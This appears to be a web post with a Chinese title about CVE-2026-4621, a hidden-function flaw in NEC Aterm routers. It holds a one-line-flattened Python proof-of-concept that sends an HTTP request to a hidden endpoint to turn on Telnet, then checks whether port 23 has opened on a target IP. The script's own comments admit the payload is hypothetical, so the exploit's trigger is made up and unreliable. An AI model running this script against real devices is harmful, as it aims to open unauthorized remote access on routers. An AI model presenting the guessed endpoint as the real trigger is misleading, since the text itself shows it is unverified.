CVE-2026-4621 NEC Aterm系列隐藏功能漏洞

import socket import sys # Proof of Concept for CVE-2026-4621 # Description: This script attempts to trigger the hidden functionality to enable Telnet. # Note: The specific payload (magic packet) usually requires firmware analysis or reverse engineering. # This script demonstrates the network interaction logic. def send_trigger_packet(target_ip, target_port=80): try: # Construct a hypothetical payload that triggers the hidden function # In a real scenario, this byte sequence is derived from reversing the firmware. # Common patterns include specific headers or command strings. payload = b"GET /hidden_enable_telnet_endpoint HTTP/1.1\r\nHost: \r\n\r\n" print(f"[*] Sending trigger packet to {target_ip}:{target_port}...") # Create a socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sock.sendall(payload) response = sock.recv(1024) print(f"[*] Received response: {response.decode('utf-8', errors='ignore')}") # Check if Telnet port (23) is now open print("[*] Checking if Telnet (port 23) is enabled...") telnet_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) telnet_sock.settimeout(2) result = telnet_sock.connect_ex((target_ip, 23)) if result == 0: print("[+] SUCCESS: Telnet port is open! Vulnerability likely exploited.") else: print("[-] FAILED: Telnet port remains closed. Payload may be incorrect or device patched.") telnet_sock.close() sock.close() except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_ip> [port]") print("Example: python poc.py 192.168.1.1 80") else: ip = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 send_trigger_packet(ip, port)